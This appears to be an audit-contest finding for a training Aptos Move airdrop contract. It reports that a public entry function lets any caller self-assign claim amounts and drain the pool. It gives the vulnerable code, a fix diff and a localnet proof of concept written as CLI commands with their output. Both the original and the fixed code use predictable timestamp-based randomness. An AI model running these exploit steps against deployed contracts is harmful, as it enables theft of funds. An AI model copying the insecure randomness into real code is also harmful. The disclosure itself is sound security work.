Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Ability to Self-Register and Drain the Pizza Drop Pool via Random Airdrop

Description

  • Only the contract owner should register users and assign token amounts via register_pizza_lover.

  • The issue is that get_random_slice It is a public entry function, allowing anyone to call it for any address, bypassing owner checks and self-assigning a claim.

#[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val; // 100-500 APT
@> table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}

Risk

Likelihood:

  • Any user can call get_random_slice without ownership privileges to register themselves or others.

Impact:

  • Attackers can assign claim amounts to arbitrary addresses and call claim_pizza_slice to drain the pizza drop pool.

Recommended Mitigation

The root cause is that get_random_slice is a public entry function, letting anyone assign themselves a claim amount; fixing it requires restricting access to the owner

Code Fix Example

- #[randomness]
- entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
- let state = borrow_global_mut<State>(get_resource_address());
- let time = timestamp::now_microseconds();
- let random_val = time % 401;
- let random_amount = 100 + random_val;
- table::add(&mut state.users_claimed_amount, user_addr, random_amount);
- }
+ fun get_random_slice_internal(user_addr: address) acquires State {
+ let state = borrow_global_mut<State>(get_resource_address());
+ let time = timestamp::now_microseconds();
+ let random_val = time % 401;
+ let random_amount = 100 + random_val;
+ if (!table::contains(&state.users_claimed_amount, user_addr)) {
+ table::add(&mut state.users_claimed_amount, user_addr, random_amount);
+ }
+ }
+
+ public entry fun register_pizza_lover(owner: &signer, user: address) acquires ModuleData, State {
+ let state = borrow_global_mut<State>(get_resource_address());
+ assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
+ get_random_slice_internal(user);
+ event::emit(PizzaLoverRegistered { user });
+ }

Proof of Concept/ Steps to exploit the issue

Note: I have deployed the contract on localnet contract address 0x6d3fd3c98cd61bf253b56bc5ff6f931be72c46b3b66259dc74c53322438fc349

1. Create a New Address on Localnet

Command:

aptos init --profile user3

Output:

Configuring for profile user3
Choose network from [devnet, testnet, mainnet, local, custom | defaults to devnet]
local
Enter your private key as a hex literal (0x...) [Current: None | No input: Generate new key (or keep one if present)]
No key given, generating key...
Account 0x4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0bc is not funded, funding it with 100000000 Octas
Account 0x4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0bc funded successfully
---
Aptos CLI is now set up for account 0x4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0bc as profile user3!
---
{
"Result": "Success"
}

2. Attempt to Call get_random_slice as a Non-Owner

Using the newly created user3 account (which is not the contract owner), execute the get_random_slice function to assign a reward:

aptos move run \
--function-id 0x6d3fd3c98cd61bf253b56bc5ff6f931be72c46b3b66259dc74c53322438fc349::airdrop::get_random_slice \
--args address:0x4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0b \
--profile user3

Prompt:

Do you want to submit a transaction for a range of [92800 - 139200] Octas at a gas unit price of 100 Octas? [yes/no] > yes

Transaction Result:

Transaction submitted: https://explorer.aptoslabs.com/txn/0xfa2e6d0fa41779be04b65ad4e12a684cbd178414408426bca732aa9ca279e956?network=local
{
"Result": {
"transaction_hash": "0xfa2e6d0fa41779be04b65ad4e12a684cbd178414408426bca732aa9ca279e956",
"gas_used": 928,
"gas_unit_price": 100,
"sender": "4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0bc",
"sequence_number": 0,
"replay_protector": {
"SequenceNumber": 0
},
"success": true,
"timestamp_us": 1756422270006805,
"version": 6952,
"vm_status": "Executed successfully"
}
}

3. Verify Assigned Reward for user3

To check if the user3 address successfully received an assigned pizza slice:

aptos move view \
--function-id 0x6d3fd3c98cd61bf253b56bc5ff6f931be72c46b3b66259dc74c53322438fc349::airdrop::get_claimed_amount \
--args address:0x4b7ed41990663819409478062912a0b991d3697bd400bed74804a9e80438d0b \
--profile user3

Output:

{
"Result": [
"217"
]
}

Observation: The transaction succeeded, and user3 was able to claim a reward despite not being the contract owner, demonstrating Unauthorized User Registration / Amount Assignment.

Updates

Appeal created

bube Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `get_random_slice` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.